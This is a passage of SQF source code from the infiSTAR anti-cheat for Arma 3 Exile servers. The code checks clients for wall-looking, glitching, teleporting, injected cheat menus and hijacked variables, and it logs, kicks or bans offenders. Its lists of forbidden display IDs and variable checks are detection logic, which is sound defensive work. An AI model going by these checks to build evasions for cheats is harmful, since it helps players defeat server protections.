  1906. _handle
  1907. };
  1908. (finddisplay 46) displayAddEventHandler ['KeyUp',_keyUpfnc];
  1909. _keyDownfnc = {
  1910. _keyCode = _this select 1;
  1911. _handle = false;
  1912. if(_keyCode in (actionKeys 'TacticalView'))exitWith{true};
  1913. _handle
  1914. };
  1915. (finddisplay 46) displayAddEventHandler ['KeyDown',_keyDownfnc];
  1916. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  1917. _vct = 5;
  1918. _vctd = diag_tickTime + 30;
  1919. _white = [
  1920. 'bis_fnc_modulemptypegroundsupportbase','bis_fnc_spawngroup','bis_fnc_moduleammo','bis_fnc_moduletracers','bis_fnc_spawnenemy','bis_fnc_createmenu',
  1921. 'avs_fnc_rearmturret','av8b_loadout_service','exileclient_system_trading_network_purchasevehicleresponse','rhs_fnc_sight_kobra'
  1922. ];
  1923.  
  1924. {
  1925. if(isNil _x)then
  1926. {
  1927. [_x,'no'] call FN_infiSTAR_F;
  1928. };
  1929. } forEach _white;
  1930. _white append "+str _allRandomGenVars+";
  1931. _blacklistedAdminVariables = _this select 7;
  1932. _blacklistedVariables = _this select 8;
  1933. _fnc_finddeeper =
  1934. {
  1935. params[['_name',''],['_puid',''],['_AHKickLog',{(findDisplay 46)closeDisplay 0;}],['_AHKickOFF',{(findDisplay 46)closeDisplay 0;}],['_var','']];
  1936. if(_var isEqualTo '')exitWith{};
  1937. _lvar = toLower _var;
  1938. _bv = missionNamespace getVariable _var;
  1939. if(!isNil '_bv')then
  1940. {
  1941. _strbv = toLower(str(_bv));
  1942.  
  1943. _tofindvar = "+str _tofindvar+";
  1944. if!(_tofindvar isEqualTo [])then
  1945. {
  1946. {
  1947. if(_lvar find _x != -1)then
  1948. {
  1949. _log = format['BadVariable in missionNamespace: [%1] found [%2] varcontent [%3]',_var,_x,_strbv];
  1950. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  1951. [] call _AHKickOFF;
  1952. };
  1953. } forEach _tofindvar;
  1954. };
  1955.  
  1956. _tofindcontent = "+str _tofindcontent+";
  1957. if!(_tofindcontent isEqualTo [])then
  1958. {
  1959. {
  1960. if(_strbv find _x != -1)then
  1961. {
  1962. _log = format['BadVariableContent in missionNamespace: [%1] found [%2] varcontent [%3]',_var,_x,_strbv];
  1963. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  1964. [] call _AHKickOFF;
  1965. };
  1966. } forEach _tofindcontent;
  1967. };
  1968.  
  1969. _tofindboth = "+str _tofindboth+";
  1970. if!(_tofindboth isEqualTo [])then
  1971. {
  1972. {
  1973. if(_lvar find _x != -1)then
  1974. {
  1975. _log = format['BadVariable in missionNamespace: [%1] found [%2] varcontent [%3]',_var,_x,_strbv];
  1976. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  1977. [] call _AHKickOFF;
  1978. }
  1979. else
  1980. {
  1981. if(_strbv find _x != -1)then
  1982. {
  1983. _log = format['BadVariableContent in missionNamespace: [%1] found [%2] varcontent [%3]',_var,_x,_strbv];
  1984. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  1985. [] call _AHKickOFF;
  1986. };
  1987. };
  1988. } forEach _tofindboth;
  1989. };
  1990. };
  1991. };
  1992. _fnc_finddeeperObj =
  1993. {
  1994. params[['_name',''],['_puid',''],['_AHKickLog',{(findDisplay 46)closeDisplay 0;}],['_AHKickOFF',{(findDisplay 46)closeDisplay 0;}],['_var',''],['_obj',objNull]];
  1995. if(_var isEqualTo '')exitWith{};
  1996. if(isNull _obj)exitWith{};
  1997. _lvar = toLower _var;
  1998. _bv = _obj getVariable _var;
  1999. if(!isNil '_bv')then
  2000. {
  2001. _strbv = toLower(str(_bv));
  2002.  
  2003. _findObjectVar = "+str _findObjectVar+";
  2004. if!(_findObjectVar isEqualTo [])then
  2005. {
  2006. {
  2007. if(_lvar find _x != -1)then
  2008. {
  2009. _log = format['BadVariable on object: [%1] found [%2] in [%3] varcontent [%4]',_obj,_var,_x,_strbv];
  2010. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2011. [] call _AHKickOFF;
  2012. };
  2013. } forEach _findObjectVar;
  2014. };
  2015.  
  2016. _findObjectVarContent = "+str _findObjectVarContent+";
  2017. if!(_findObjectVarContent isEqualTo [])then
  2018. {
  2019. {
  2020. if(_strbv find _x != -1)then
  2021. {
  2022. _log = format['BadVariableContent on object: [%1] found [%2] in [%3] varcontent [%4]',_obj,_var,_x,_strbv];
  2023. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2024. [] call _AHKickOFF;
  2025. };
  2026. } forEach _findObjectVarContent;
  2027. };
  2028. };
  2029. };
  2030. _white2 = [];
  2031. _vctoo = diag_tickTime + 180;
  2032. _posbuildings = [worldSize/2,worldSize/2];
  2033. _buildings = _posbuildings nearObjects ['Building',worldSize];
  2034. "; if(_check_doors_n_gates)then{ _A3AHstring = _A3AHstring + "
  2035. _checkthesedoorgates =
  2036. [
  2037. 'Exile_Construction_ConcreteDoor_Static','Exile_Construction_ConcreteGate_Static',
  2038. 'Exile_Construction_WoodDoor_Static','Exile_Construction_WoodDoor_Reinforced_Static',
  2039. 'Exile_Construction_WoodGate_Static','Exile_Construction_WoodGate_Reinforced_Static'
  2040. ];
  2041. "; }; _A3AHstring = _A3AHstring + "
  2042. "; }; _A3AHstring = _A3AHstring + "
  2043. _myvest = '';
  2044. _myuniform = '';
  2045. if(_admin)then{profileNamespace setVariable ['ExilePlayerCnt',nil];saveprofileNamespace;};
  2046. while{true}do{call (_this select 6);};
  2047. }
  2048. ]
  2049. ];
  2050. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  2051. "; if((_wall_look)||(_wall_glitch_object)||(_wall_glitch_vehicle))then{ _A3AHstring = _A3AHstring + "
  2052. _glitchcode = {
  2053. if((alive player)&&(player isEqualTo (vehicle player)))then
  2054. {
  2055. "; if(_wall_look)then{ _A3AHstring = _A3AHstring + "
  2056. _intersectsWith = [];
  2057. _eyeDir = eyedirection player;
  2058. _curWep = currentweapon player;
  2059. _wepDir = player weapondirection _curWep;
  2060. _vectorDiff = _eyeDir vectorDiff _wepDir;
  2061. if((inputAction 'EvasiveLeft' > 0)||(inputAction 'EvasiveRight' > 0)||(_eyeDir select 2 > 0.5)||((abs(_vectorDiff select 0) > 0.55)&&!(_curWep isEqualTo '')))then
  2062. {
  2063. _eyePos = eyepos player;
  2064. _dir_weapon_r = (((_wepDir) select 0) atan2 ((_wepDir) select 1))+45;
  2065. _dir_weapon_l = (((_wepDir) select 0) atan2 ((_wepDir) select 1))-25;
  2066.  
  2067. _intersectsWith = lineintersectswith [[(_eyePos select 0) + (_eyeDir select 0)*_dis_head,(_eyePos select 1) + (_eyeDir select 1)*_dis_head,(_eyePos select 2) + (_eyeDir select 2)*_dis_head], _eyePos, player];
  2068. _intersectsWith append lineintersectswith [[(_eyePos select 0) + _dis_weapon_r*sin _dir_weapon_r,(_eyePos select 1) + _dis_weapon_r*cos _dir_weapon_r,(_eyePos select 2)], _eyePos, player];
  2069. _intersectsWith append lineintersectswith [[(_eyePos select 0) + _dis_weapon_l*sin _dir_weapon_l,(_eyePos select 1) + _dis_weapon_l*cos _dir_weapon_l,(_eyePos select 2)], _eyePos, player];
  2070.  
  2071. _plrPosVisual = ATLtoASL (player modelToWorldVisual [0,0,0]);
  2072. _intersectsWith append lineIntersectsWith [_eyePos, _plrPosVisual];
  2073. };
  2074. if(_intersectsWith isEqualTo [])then
  2075. {
  2076. if(_faded)then{_faded=false;TitleText ['','PLAIN DOWN'];};
  2077. }
  2078. else
  2079. {
  2080. {
  2081. if(_x isKindOf 'Exile_Construction_Abstract_Static')exitWith
  2082. {
  2083. _faded = true;
  2084. player switchMove '';
  2085. if(call _fn_check_allowed_build)then
  2086. {
  2087. TitleText ['!!!\nDO NOT LOOK THROUGH WALLS\n!!!\n\n\n\nAntiHack by infiSTAR.de','BLACK FADED'];
  2088. if(time > _fadeTimer)then
  2089. {
  2090. _fadeTimer = time + 15;
  2091. _log = format['WALL LOOK CHECK (looked through %1) - @%2 %3',typeOf _x,mapGridPosition _x,getPosATL _x];
  2092. [_name,_puid,'SLOG_GLITCH',toArray(_log)] call _AHKickLog;
  2093. };
  2094. };
  2095. };
  2096. } forEach _intersectsWith;
  2097. };
  2098. "; }; _A3AHstring = _A3AHstring + "
  2099. "; if(_wall_glitch_object)then{ _A3AHstring = _A3AHstring + "
  2100. if(call _fn_check_allowed_build)then
  2101. {
  2102. _posASL = getPosASL player;
  2103. _lineIntersectsObjs = lineIntersectsObjs [_posASL, _posASL];
  2104. _eyePos = eyePos player;
  2105. _lineIntersectsObjs append lineIntersectsObjs [_eyePos, _eyePos];
  2106. _lineIntersectsObjs append lineIntersectsObjs [getPos player, getPos player vectorAdd (player selectionPosition 'legs')];
  2107. {
  2108. if(_x isKindOf 'Exile_Construction_Abstract_Static')then
  2109. {
  2110. _type = typeOf _x;
  2111. _floor = true;
  2112. if(call _fn_check_object)then
  2113. {
  2114. if(_floor)then
  2115. {
  2116. cutText ['Do not glitch through floors!', 'PLAIN'];
  2117. if(time > _floorGlitchReported)then
  2118. {
  2119. _floorGlitchReported = time + 3;
  2120. _log = format['FLOOR GLITCH ATTEMPT (attempted breach of %1) - @%2 %3',_type,mapGridPosition _x,getPos _x];
  2121. [_name,_puid,'SLOG_GLITCH',toArray(_log)] call _AHKickLog;
  2122. };
  2123. }
  2124. else
  2125. {
  2126. cutText ['Do not glitch through walls!', 'PLAIN'];
  2127. if(time > _wallGlitchReported)then
  2128. {
  2129. _wallGlitchReported = time + 3;
  2130. _log = format['WALL GLITCH ATTEMPT (attempted breach of %1) - @%2 %3',_type,mapGridPosition _x,getPos _x];
  2131. call _fn_punish_glitch;
  2132. };
  2133. player switchMove '';
  2134. call _fn_push_back;
  2135. };
  2136. };
  2137. };
  2138. } forEach _lineIntersectsObjs;
  2139. };
  2140. "; }; _A3AHstring = _A3AHstring + "
  2141. "; if(_wall_glitch_vehicle)then{ _A3AHstring = _A3AHstring + "
  2142. player removeAllEventHandlers 'GetOutMan';
  2143. player addEventHandler ['GetOutMan', _GetOutMan];
  2144. "; }; _A3AHstring = _A3AHstring + "
  2145. };
  2146. uiSleep .15;
  2147. };
  2148. "; }; _A3AHstring = _A3AHstring + "
  2149. "; if(_UAT)then{ _A3AHstring = _A3AHstring + "
  2150. _atLoopCode = {
  2151. if(isTouchingGround player)then{_touchedground = true;};
  2152. _curVehicle = vehicle player;
  2153. _type = typeOf _curVehicle;
  2154. _curnetId = netId _curVehicle;
  2155. if(isNull objectParent player)then
  2156. {
  2157. if!(_type isEqualTo 'Exile_Unit_GhostPlayer')then
  2158. {
  2159. if!(_curnetId select [0,2] isEqualTo '2:')then
  2160. {
  2161. _log = format['ANTI-TP FOUND not local PlayerObject: %1 with netId %2 @%3',_type,_curnetId,_curVehicle call _fn_getPos];
  2162. deleteVehicle _curVehicle;
  2163. [_name,_puid,'TMPBAN',toArray(_log),time + 600] call _AHKickLog;
  2164. [] call _AHKickOFF;
  2165. };
  2166. };
  2167. }
  2168. else
  2169. {
  2170. if(_curnetId isEqualTo '0:0')then
  2171. {
  2172. _log = format['ANTI-TP FOUND LocalVehicle: %1 with netId 0:0 @%2',_type,_curVehicle call _fn_getPos];
  2173. deleteVehicle _curVehicle;
  2174. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2175. [] call _AHKickOFF;
  2176. };
  2177. };
  2178. _AHpos = uiNameSpace getVariable['"+_AHpos+"',[0,0,0]];
  2179. uiNameSpace setVariable['"+_AHpos+"',[0,0,0]];
  2180. if(_AHpos isEqualTo [0,0,0])then
  2181. {
  2182. _curpos = (vehicle player) call _fn_getPos;
  2183. if((!isNull player)&&{alive player}&&{((typeOf player) isEqualTo 'Exile_Unit_Player')})then
  2184. {
  2185. _distance = _lastpos distance2D _curpos;
  2186. if(_distance > 1)then
  2187. {
  2188. if(_lastpos distance _firstPos < 100 && !_firstPosTPUSED)exitWith{_firstPosTPUSED=true;};
  2189.  
  2190. _exitHere = false;
  2191. _ropeAttachedToObj = ropeAttachedTo _curVehicle;
  2192. if(!isNull _ropeAttachedToObj)then
  2193. {
  2194. _driverRopeAttachedTo = driver _ropeAttachedToObj;
  2195. if(isNull _driverRopeAttachedTo)then
  2196. {
  2197. {ropeDestroy _x;} forEach (ropes _ropeAttachedToObj);
  2198. {ropeDestroy _x;} forEach (ropes _curVehicle);
  2199. }
  2200. else
  2201. {
  2202. if((getPlayerUID _driverRopeAttachedTo) isEqualTo '')then
  2203. {
  2204. if(local _driver)then
  2205. {
  2206. deleteVehicle _driver;
  2207. player moveInDriver _curVehicle;
  2208. };
  2209. _log = format[
  2210. 'TP with AI as driver.. Moved %1m (from %2 to %3) in %4 slingloaded to AI.. - Player FPS: %5.',
  2211. round _distance,_lastpos,_curpos,_type,diag_fps
  2212. ];
  2213. [_name,_puid,'HLOG',toArray(_log)] call _AHKickLog;
  2214. {ropeDestroy _x;} forEach (ropes _ropeAttachedToObj);
  2215. {ropeDestroy _x;} forEach (ropes _curVehicle);
  2216. }
  2217. else
  2218. {
  2219. _exitHere = true;
  2220. };
  2221. };
  2222. };
  2223. if(_exitHere)exitWith{};
  2224.  
  2225. _speed = round(abs(speed player));
  2226. _difftime = diag_tickTime - _lasttime;
  2227. _speedcalc = (_distance / _difftime)*3.6;
  2228. _speedcalc = _speedcalc max _speed;
  2229.  
  2230. _topSpeedcalcOLD = _topSpeedcalc;
  2231. _topSpeed = (getNumber(configFile >> 'CfgVehicles' >> _type >> 'maxSpeed')) max 20;
  2232. _factor = if(_type isKindOf 'Air')then{2.35}else{1.8};
  2233. _topSpeedcalc = _topSpeed * _factor;
  2234.  
  2235. if(isNull _oldVehicle)then{_topSpeedcalcOLD = _topSpeedcalc;};
  2236. if(_speedcalc > _topSpeedcalc)then
  2237. {
  2238. if(_speedcalc > _topSpeedcalcOLD)then
  2239. {
  2240. _inTrader = call _fn_inTradeZone;
  2241. if(!_inTrader)then
  2242. {
  2243. if(local _curVehicle)then
  2244. {
  2245. if(!_touchedground)then{
  2246. "; if((getNumber(configFile >> 'CfgSettings' >> 'BambiSettings' >> 'parachuteSpawning')) isEqualTo 1)then{ _A3AHstring = _A3AHstring + "
  2247. if((_speedcalc < 301)&&(!isTouchingGround player)&&(_curVehicle isKindOf 'ParachuteBase'))exitWith{_exitPlease = true;};
  2248. "; }; _A3AHstring = _A3AHstring + "
  2249. "; if((getNumber(configFile >> 'CfgSettings' >> 'BambiSettings' >> 'haloJump')) isEqualTo 1)then{ _A3AHstring = _A3AHstring + "
  2250. if((_speedcalc < 99)&&(!isTouchingGround player)&&(player isEqualTo _curVehicle))exitWith{_exitPlease = true;};
  2251. "; }; _A3AHstring = _A3AHstring + "
  2252. };
  2253. if(_exitPlease)exitWith{};
  2254. if((_speedcalc < 100)&&(_type isEqualTo 'Exile_Bike_MountainBike'))exitWith{};
  2255.  
  2256. if(_distance > 30)then
  2257. {
  2258. if(time - _revertcounterlastcount > 20)then{_revertcounter = 0;};_revertcounterlastcount=time;
  2259. _revertcounter = _revertcounter + 1;
  2260. _log = format[
  2261. 'POTENTIAL-TP-REVERTED1: Moved %1m in %2s (from %3 to %4). TopSpeed of %5 is %6 speed was %7. Player FPS: %8. Alive for %9s%10',
  2262. round _distance,_difftime,_lastpos,_curpos,_type,_topSpeed,_speedcalc,diag_fps,diag_tickTime - _livestarted,if(_inTrader)then{' - In Trader!'}else{''}
  2263. ];
  2264. if(_revertcounter > 2)then
  2265. {
  2266. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2267. [] call _AHKickOFF;
  2268. }
  2269. else
  2270. {
  2271. [_name,_puid,'ANTI_TP',toArray(_log)] call _AHKickLog;
  2272. };
  2273. };
  2274. _curvel = velocity _curVehicle;
  2275. [_curVehicle,_lastpos] call _fn_setPos;
  2276. _curVehicle setVelocity _curvel;
  2277. }
  2278. else
  2279. {
  2280. if!(_oldVehicle isEqualTo _curVehicle)then
  2281. {
  2282. if(_distance > 30)then
  2283. {
  2284. _log = format[
  2285. 'POTENTIAL-TP-REVERTED2: Moved %1m in %2s (from %3 to %4). TopSpeed of %5 is %6 speed was %7. Player FPS: %8%9',
  2286. round _distance,_difftime,_lastpos,_curpos,_type,_topSpeed,_speedcalc,diag_fps,if(_inTrader)then{' - In Trader!'}else{''}
  2287. ];
  2288. [_name,_puid,'ANTI_TP',toArray(_log)] call _AHKickLog;
  2289.  
  2290. [player,_lastpos] call _fn_setPos;
  2291. };
  2292. };
  2293. _driver = driver _curVehicle;
  2294. if(!isNull _driver)then
  2295. {
  2296. if!(_driver in allPlayers)then
  2297. {
  2298. if(!alive _driver)exitWith
  2299. {
  2300. _driver action ['eject',_curVehicle];
  2301. if(local _driver)then{deleteVehicle _driver;};
  2302. };
  2303. player moveInDriver _curVehicle;
  2304.  
  2305. _log = format[
  2306. 'TP with AI as driver.. Moved %1m in %2s (from %3 to %4). TopSpeed of %5 is %6 speed was %7. Player FPS: %8.',
  2307. round _distance,_difftime,_lastpos,_curpos,_type,_topSpeed,_speedcalc,diag_fps
  2308. ];
  2309. [_name,_puid,'HLOG',toArray(_log)] call _AHKickLog;
  2310. };
  2311. };
  2312. };
  2313. };
  2314. };
  2315. };
  2316. };
  2317. _lastpos = (vehicle player) call _fn_getPos;
  2318. }
  2319. else
  2320. {
  2321. _firstPosTPUSED = false;
  2322. _firstPos = player call _fn_getPos;
  2323. _curVehicle = vehicle player;
  2324. _oldVehicle = _curVehicle;
  2325. _curpos = _curVehicle call _fn_getPos;
  2326. _lastpos = _curVehicle call _fn_getPos;
  2327. _type = typeOf _curVehicle;
  2328. _topSpeedcalc = 0;
  2329. _topSpeedcalcOLD = 0;
  2330. _livestarted = diag_tickTime;
  2331. _touchedground = false;
  2332. _exitPlease = false;
  2333. _revertcounter = 0;
  2334. _revertcounterlastcount = 0;
  2335. };
  2336. }
  2337. else
  2338. {
  2339. if(typename _AHpos isEqualTo 'ARRAY')then
  2340. {
  2341. _veh = vehicle player;
  2342. if(local _veh)then
  2343. {
  2344. _veh setVelocity [0,0,0];
  2345. _veh setVectorUp [0,0,1];
  2346. _veh setPosATL _AHpos;
  2347. _lastpos = _veh call _fn_getPos;
  2348. };
  2349. }
  2350. else
  2351. {
  2352. _log = format['Admin Teleport Variable highjacked! %1 (%2)',_AHpos,typename _AHpos];
  2353. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2354. [] call _AHKickOFF;
  2355. };
  2356. };
  2357. _lasttime = diag_tickTime;
  2358. _oldVehicle = _curVehicle;
  2359. uiSleep 0.3;
  2360. };
  2361. "; }; _A3AHstring = _A3AHstring + "
  2362. _iddchecks = {
  2363. if(!isNull ((findDisplay 73) displayCtrl 302))then
  2364. {
  2365. _log = 'MenuBasedHack :: 73 :: 302';
  2366. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2367. [] call _AHKickOFF;
  2368. };
  2369. if(diag_tickTime - _lastEmpty > 45)then
  2370. {
  2371. _lastEmpty = diag_tickTime;
  2372. _checked = [];
  2373. };
  2374. if(_wasclosed)then
  2375. {
  2376. closeDialog 0;closeDialog 0;closeDialog 0;
  2377. _wasclosed = false;
  2378. };
  2379.  
  2380. if(!isNull ((findDisplay 46) displayCtrl -2))then
  2381. {
  2382. _log = 'MenuBasedHack :: 46 :: -2';
  2383. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2384. [] call _AHKickOFF;
  2385. };
  2386.  
  2387. {
  2388. _display = findDisplay _x;
  2389. if(!isNull _display)then
  2390. {
  2391. _txts = _display call _fn_get_texts;
  2392. _log = format['MenuBasedHack: %1 CTRLS: %2',_x,_txts];
  2393. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2394. [] call _AHKickOFF;
  2395. };
  2396. } forEach [-1338,-1337,17,19,30,32,45,56,59,62,64,69,71,110,125,132,155,156,165,166,167,312,1320,1321,2727,2928,2929,3030,316000,9899,0110];
  2397.  
  2398. {
  2399. _control = _x;
  2400. _ctrlTxt = ctrlText _control;
  2401. _lowerctrlTxt = toLower _ctrlTxt;
  2402. {
  2403. if(_lowerctrlTxt find _x > -1)then
  2404. {
  2405. _log = format['BadCtrlText: %1 on %2 %3 - %4',_x,_display,_control,_ctrlTxt];
  2406. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2407. [] call _AHKickOFF;
  2408. };
  2409. } forEach _verybadStrings;
  2410. } forEach [((findDisplay 49) displayCtrl 2),((findDisplay 49) displayCtrl 103)];
  2411.  
  2412. {
  2413. _cc1 = uiNamespace getVariable _x;
  2414. if(!isNil '_cc1')then
  2415. {
  2416. _formatedcc1 = format['%1',_cc1];
  2417. if(_formatedcc1 != '<null>')then
  2418. {
  2419. if(_formatedcc1 != 'No display')then
  2420. {
  2421. _log = format['Hacked: %1 - %2',_x,_cc1];
  2422. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2423. [] call _AHKickOFF;
  2424. }
  2425. else
  2426. {
  2427. uiNamespace setVariable[_x,nil];
  2428. _log = format['Hacked: %1 - %2',_x,_cc1];
  2429. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2430. [] call _AHKickOFF;
  2431. };
  2432. };
  2433. };
  2434. } forEach ['RscDisplayRemoteMissions','RscDisplayDebugPublic','RscDisplayMovieInterrupt','RscDisplayArsenal'];
  2435.  
  2436. if(!isNull (uiNamespace getVariable['BIS_fnc_camera_display',displaynull]))then
  2437. {
  2438. _log = format['Hacked: BIS_fnc_camera_display -> %1',(uiNamespace getVariable['BIS_fnc_camera_display',displaynull])];
  2439. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2440. [] call _AHKickOFF;
  2441. };
  2442.  
  2443. _c101txt = ctrlText 101;
  2444. if!(_c101txt in ['','ITEM','\A3\Data_F_Mark\Logos\arma3_Mark_logo_ca.paa','\A3\Data_F_Kart\Logos\arma3_karts_logo_ca.paa'])then
  2445. {
  2446. _log = format['ctrlText 101: %1',_c101txt];
  2447. [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
  2448. (findDisplay 46)closeDisplay 0;
  2449. };
  2450.  
  2451. {
  2452. if(!isNull _x)then
  2453. {
  2454. _display = _x;
  2455. _strdisplay = str _x;
  2456. if(_strdisplay in _badIDDsToKick)then
  2457. {
  2458. _txts = _display call _fn_get_texts;
  2459. _log = format['BadDisplayID: %1 CTRLS: %2',_display,_txts];
  2460. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2461. [] call _AHKickOFF;
  2462. }
  2463. else
  2464. {
  2465. if(_strdisplay in _badIDDsToClose)then
  2466. {
  2467. systemChat format['<infiSTAR.de> %1 has been closed.',_strdisplay];
  2468. _display closeDisplay 0;
  2469. closeDialog 0;closeDialog 0;closeDialog 0;
  2470. _wasclosed = true;
  2471. }
  2472. else
  2473. {
  2474. "; if(_UDW)then{ _A3AHstring = _A3AHstring + "
  2475. if!(_strdisplay in _allowedIDDs)then
  2476. {
  2477. _index = _announceDisplayIddOnce pushBackUnique _strdisplay;
  2478. if(_index > -1)then
  2479. {
  2480. _txts = _display call _fn_get_texts;
  2481.  
  2482. _strl = count _strdisplay;
  2483. _numbegin = (_strdisplay find '#') + 1;
  2484. _numend = _strl - _numbegin;
  2485. _idd = _strdisplay select [_numbegin,_numend];
  2486.  
  2487. _log = format['Not Allowed Display with idd: %1',_idd];
  2488. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  2489.  
  2490. _log = format['Controls: %2',_txts];
  2491. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  2492. };
  2493. _display closeDisplay 0;
  2494. closeDialog 0;closeDialog 0;closeDialog 0;
  2495. };
  2496. "; }; _A3AHstring = _A3AHstring + "
  2497. };
  2498. };
  2499. if(!isNull _display)then
  2500. {
  2501. {
  2502. if(!isNull (_display displayCtrl _x))then
  2503. {
  2504. _log = format['MenuBasedHack :: %1 :: %2',_display,_x];
  2505. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2506. [] call _AHKickOFF;
  2507. };
  2508. } forEach [24010,16030,13163,989187,99991,16100];
  2509.  
  2510. {
  2511. _control = _x;
  2512. _checkifIn = format['%1%2',_display,_control];
  2513. _index = _checked pushBackUnique _checkifIn;
  2514. if(_index > -1)then
  2515. {
  2516. _controltype = ctrlType _control;
  2517. if(_controltype isEqualTo 5)then
  2518. {
  2519. _size = lbSize _control;
  2520. if(_size > 0)then
  2521. {
  2522. for '_i' from 0 to (_size-1) do
  2523. {
  2524. _lbtxt = _control lbText _i;
  2525. _lowerlbtxt = toLower _lbtxt;
  2526. {
  2527. if(_lowerlbtxt find _x > -1)then
  2528. {
  2529. _log = format['BadlbText: %1 FOUND [%2] ON %3 %4',_lbtxt,_x,_display,_control];
  2530. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2531. [] call _AHKickOFF;
  2532. };
  2533. } forEach _verybadStrings;
  2534. };
  2535. };
  2536. }
  2537. else
  2538. {
  2539. if(_controltype isEqualTo 12)then
  2540. {
  2541. _curTV = tvCurSel _control;
  2542. _tvtxt = _control tvText _curTV;
  2543. _lowertvtxt = toLower _tvtxt;
  2544. {
  2545. if(_lowertvtxt find _x > -1)then
  2546. {
  2547. _log = format['BadtvText: %1 FOUND [%2] ON %3 %4',_tvtxt,_x,_display,_control];
  2548. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2549. [] call _AHKickOFF;
  2550. };
  2551. } forEach _verybadStrings;
  2552. }
  2553. else
  2554. {
  2555. if!(_controltype in [3,4,8,9,15,42,81,101,102])then
  2556. {
  2557. _ctrlTxt = ctrlText _control;
  2558. _lowerctrlTxt = toLower _ctrlTxt;
  2559. {
  2560. if(_lowerctrlTxt find _x > -1)then
  2561. {
  2562. _log = format['BadCtrlText: %1 FOUND [%2] ON %3 %4',_ctrlTxt,_x,_display,_control];
  2563. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2564. [] call _AHKickOFF;
  2565. };
  2566. } forEach _verybadStrings;
  2567. };
  2568. };
  2569. };
  2570. };
  2571. } forEach (allControls _display);
  2572. };
  2573. };
  2574. } forEach allDisplays;
  2575. "; if(_check_Notifications)then{ _A3AHstring = _A3AHstring + "
  2576. if(!isNil 'BIS_fnc_showNotification_queue')then
  2577. {
  2578. if(typeName BIS_fnc_showNotification_queue isEqualTo 'ARRAY')then
  2579. {
  2580. {
  2581. if(!isNil'_x')then
  2582. {
  2583. if(typeName _x isEqualTo 'ARRAY')then
  2584. {
  2585. {
  2586. _array = nil;
  2587. _array = _x select 9;
  2588. if(!isNil'_array')then
  2589. {
  2590. {
  2591. if!(_x isEqualTo '')then
  2592. {
  2593. _log = format['Hacked: showNotification - %1',_x];
  2594. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  2595. BIS_fnc_showNotification_queue = [];
  2596. };
  2597. } forEach _array;
  2598. };
  2599. } forEach _x;
  2600. };
  2601. };
  2602. } forEach BIS_fnc_showNotification_queue;
  2603. }
  2604. else
  2605. {
  2606. _log = format['Hacked: showNotification type changed to %1',typeName BIS_fnc_showNotification_queue,BIS_fnc_showNotification_queue];
  2607. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2608. [] call _AHKickOFF;
  2609. };
  2610. };
  2611. "; }; _A3AHstring = _A3AHstring + "
  2612. _uiNamespace_dynamicText = uiNamespace getVariable 'BIS_dynamicText';
  2613. if(!isNil '_uiNamespace_dynamicText')then
  2614. {
  2615. _allCtrls = allControls _uiNamespace_dynamicText;
  2616. _whiteListed = ['','Debug Mode Enabled'];
  2617. {if(getPlayerUID _x != '')then{_whiteListed pushBack (name _x);};} forEach playableUnits;
  2618. {
  2619. _ctrl = _x;
  2620. _txt = ctrlText _ctrl;
  2621. if(_txt != _lastText)then
  2622. {
  2623. if!(_txt in _whiteListed)then
  2624. {
  2625. _lastText = _txt;
  2626. _ltxt = toLower _txt;
  2627. {
  2628. if(_ltxt find _x != -1)then
  2629. {
  2630. _log = format['BadText on %1: %2 - %3',_ctrl,_x,_txt];
  2631. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2632. (findDisplay 46)closeDisplay 0;
  2633. };
  2634. } forEach _verybadStrings;
  2635. };
  2636. };
  2637. } forEach _allCtrls;
  2638. };
  2639.  
  2640. "; if(_CMC)then{ _A3AHstring = _A3AHstring + "
  2641. _cmdm = commandingMenu;
  2642. if(_cmdm != '')then
  2643. {
  2644. _cmdm = toLower _cmdm;
  2645. if(_cmdm in _find1)then
  2646. {
  2647. showCommandingMenu '';
  2648. }
  2649. else
  2650. {
  2651. if!(_cmdm in _find2)then
  2652. {
  2653. if(_cmdm select [0,6] isEqualTo '#user:')then
  2654. {
  2655. _log = format['BadCommandingMenu: %1',_cmdm];
  2656. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2657. (findDisplay 46)closeDisplay 0;
  2658. }
  2659. else
  2660. {
  2661. showCommandingMenu '';
  2662. systemChat format['<infiSTAR.de> commandingMenu: %1 - not Allowed. Please ask your Servers Admin for more Information..!',_cmdm];
  2663. };
  2664. };
  2665. };
  2666. "; if(_KCM)then{ _A3AHstring = _A3AHstring + "
  2667. showCommandingMenu '';
  2668. "; }; _A3AHstring = _A3AHstring + "
  2669. };
  2670. "; }else{ _A3AHstring = _A3AHstring + "
  2671. "; if(_KCM)then{ _A3AHstring = _A3AHstring + "
  2672. showCommandingMenu '';
